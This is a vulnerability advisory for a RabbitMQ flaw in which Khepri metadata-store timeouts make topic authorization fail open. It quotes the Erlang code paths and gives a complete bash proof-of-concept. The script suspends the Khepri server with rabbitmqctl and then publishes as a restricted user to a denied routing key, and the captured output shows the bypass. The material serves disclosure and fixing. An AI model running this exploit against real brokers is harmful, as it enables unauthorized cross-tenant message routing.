CVE-2026-57217
ADVISORY - dockerSummary
Summary
RabbitMQ topic authorization allows restricted topic operations during metadata-store failures due to error collapsing in topic-permission lookup handling. The internal backend fetches topic permissions and treats undefined as allow, while the database helper returns undefined for any non-{ok, TopicPermission} Khepri response, including timeout/error paths. This turns transient Khepri lookup faults into authorization success for topic writes/binds that should remain denied. Executed validation reproduced this deterministically: denied before fault, allowed during Khepri timeout, denied again after recovery. Intended-behavior research also indicates this is not expected behavior because backend authorization contracts treat {error, Error} as an error path, not an implicit allow.
Impact
An authenticated low-privileged tenant can publish or bind to routing keys outside its configured topic regex during Khepri lookup failures, enabling unauthorized cross-tenant message routing in shared topic exchanges.
Description
The topic-permission read path first queries Khepri and collapses every non-{ok, TopicPermission} result to undefined.
get_topic_permissions(Username, VHostName, ExchangeName)
when is_binary(Username) andalso
is_binary(VHostName) andalso
is_binary(ExchangeName) ->
Path = khepri_topic_permission_path(Username, VHostName, ExchangeName),
case rabbit_khepri:get(Path) of
{ok, TopicPermission} -> TopicPermission;
_ -> undefined
end.
After that lookup, the internal authorization backend treats undefined as success for topic access.
check_topic_access(#auth_user{username = Username},
#resource{virtual_host = VHostPath, name = Name, kind = topic},
Permission,
Context) ->
case rabbit_db_user:get_topic_permissions(Username, VHostPath, Name) of
undefined ->
true;
#topic_permission{permission = P} ->
PermRegexp = case element(permission_index(Permission), P) of
The backend authorization contract explicitly defines {error, Error} as an error condition, so converting store errors into undefined and then allowing access violates expected validation flow.
%% Given #auth_user, topic as resource, permission, and context, can a user access the topic?
%%
%% Possible responses:
%% true
%% false
%% {false, Reason}
%% {error, Error}
%% Something went wrong. Log and die.
-callback check_topic_access(rabbit_types:auth_user(),
rabbit_types:r(atom()),
rabbit_types:permission_atom(),
rabbit_types:topic_access_context()) ->
boolean() | {false, Reason :: string()} | {'error', any()}.
The issue is triggered when a user with restricted topic permissions performs topic operations while Khepri returns timeout/error results, because the lookup failure is normalized to undefined and interpreted as allow instead of deny/error.
Proof of Concept (PoC)
The finding was validated against the 83866edcc995602f546f3c4147078b3a610b0075 commit.
The PoC demonstrates that topic authorization is correctly enforced before a metadata fault, fails open during a forced Khepri timeout, and returns to denial after recovery. It uses one standalone helper file and standard broker APIs/CLI only. The full helper file used in execution is included below.
validation-environments/finding-674/poc_topic_fail_open.sh
#!/usr/bin/env bash
set -euo pipefail
MGMT='http://127.0.0.1:15672/api'
ADMIN_USER='guest'
ADMIN_PASS='guest'
VHOST='poc-topic-674'
EXCHANGE='topic_ex'
QUEUE='victim_q'
ATT_USER='att_674'
ATT_PASS='attpass674'
req() {
local method="$1"; shift
local url="$1"; shift
local data="${1:-}"
if [ -n "$data" ]; then
curl -sS -u "$ADMIN_USER:$ADMIN_PASS" -H 'content-type: application/json' -X "$method" "$url" -d "$data"
else
curl -sS -u "$ADMIN_USER:$ADMIN_PASS" -X "$method" "$url"
fi
}
att_publish() {
local payload="$1"
curl -sS -i -u "$ATT_USER:$ATT_PASS" -H 'content-type: application/json' \
-X POST "$MGMT/exchanges/$VHOST/$EXCHANGE/publish" \
-d "{\"properties\":{},\"routing_key\":\"secret.1\",\"payload\":\"$payload\",\"payload_encoding\":\"string\"}"
}
echo '[*] Cleanup from previous runs'
req DELETE "$MGMT/users/$ATT_USER" >/dev/null || true
req DELETE "$MGMT/vhosts/$VHOST" >/dev/null || true
echo '[*] Create topology and users'
req PUT "$MGMT/vhosts/$VHOST" '{}'
req PUT "$MGMT/exchanges/$VHOST/$EXCHANGE" '{"type":"topic","durable":true,"auto_delete":false,"internal":false,"arguments":{}}'
req PUT "$MGMT/queues/$VHOST/$QUEUE" '{"auto_delete":false,"durable":true,"arguments":{}}'
req POST "$MGMT/bindings/$VHOST/e/$EXCHANGE/q/$QUEUE" '{"routing_key":"secret.#","arguments":{}}'
req PUT "$MGMT/users/$ATT_USER" "{\"password\":\"$ATT_PASS\",\"tags\":\"management\"}"
req PUT "$MGMT/permissions/$VHOST/$ATT_USER" '{"configure":".*","write":".*","read":".*"}'
req PUT "$MGMT/topic-permissions/$VHOST/$ATT_USER" '{"exchange":"topic_ex","write":"^public\\\\..*","read":"^public\\\\..*"}'
echo '[*] Baseline publish should be denied by topic permission'
att_publish 'blocked-before'
echo '[*] Find and suspend Khepri Ra server'
PID=$(docker exec bbval-rabbitmq-server rabbitmqctl eval 'Pid = ra_directory:where_is(coordination, rabbitmq_metadata), io:format("~p", [Pid]).' | tr -d '\r')
echo "KHEPRI_PID=$PID"
docker exec bbval-rabbitmq-server rabbitmqctl eval 'Pid = ra_directory:where_is(coordination, rabbitmq_metadata), sys:suspend(Pid), Pid.'
echo '[*] Confirm Khepri lookup now errors'
docker exec bbval-rabbitmq-server rabbitmqctl eval 'rabbit_khepri:get([rabbitmq], #{timeout => 1000}).'
echo '[*] Exploit publish during Khepri error'
att_publish 'bypass-during-khepri-error'
echo '[*] Read queue content as evidence of unauthorized routing'
req POST "$MGMT/queues/$VHOST/$QUEUE/get" '{"count":5,"ackmode":"ack_requeue_false","encoding":"auto","truncate":50000}'
echo '[*] Resume Khepri'
docker exec bbval-rabbitmq-server rabbitmqctl eval 'Pid = ra_directory:where_is(coordination, rabbitmq_metadata), sys:resume(Pid), Pid.'
echo '[*] Verify denial returns after resume'
att_publish 'blocked-after-resume'
PoC Steps
- Ensure a running RabbitMQ broker with management API on
127.0.0.1:15672and CLI access viarabbitmqctlinside the broker container. - Create directory
validation-environments/finding-674. - Create file
validation-environments/finding-674/poc_topic_fail_open.shwith the exact content shown above. - Run
chmod +x validation-environments/finding-674/poc_topic_fail_open.sh. - Run
bash validation-environments/finding-674/poc_topic_fail_open.sh. - Observe baseline publish denial for
secret.1, then forced Khepri timeout, then publish success during timeout, then denial again after resume.
PoC Results
Observed stdout/stderr from the executed run:
[*] Baseline publish should be denied by topic permission
HTTP/1.1 400 Bad Request
...
{"error":"bad_request","reason":"403 ACCESS_REFUSED - write access to topic 'secret.1' in exchange 'topic_ex' in vhost 'poc-topic-674' refused for user 'att_674'"}
[*] Confirm Khepri lookup now errors
{error,timeout}
[*] Exploit publish during Khepri error
HTTP/1.1 200 OK
...
{"routed":true}
[*] Read queue content as evidence of unauthorized routing
[{"payload_bytes":26,"redelivered":false,"exchange":"topic_ex","routing_key":"secret.1","message_count":0,"properties":[],"payload":"bypass-during-khepri-error","payload_encoding":"string"}]
[*] Verify denial returns after resume
HTTP/1.1 400 Bad Request
...
{"error":"bad_request","reason":"403 ACCESS_REFUSED - write access to topic 'secret.1' in exchange 'topic_ex' in vhost 'poc-topic-674' refused for user 'att_674'"}
The results show a real fail-open authorization bypass limited to the Khepri lookup error window: policy-denied topic publish becomes accepted and routed, then returns to denied when metadata lookup recovers.
Common Weakness Enumeration (CWE)
Docker
CVE-2026-57217
-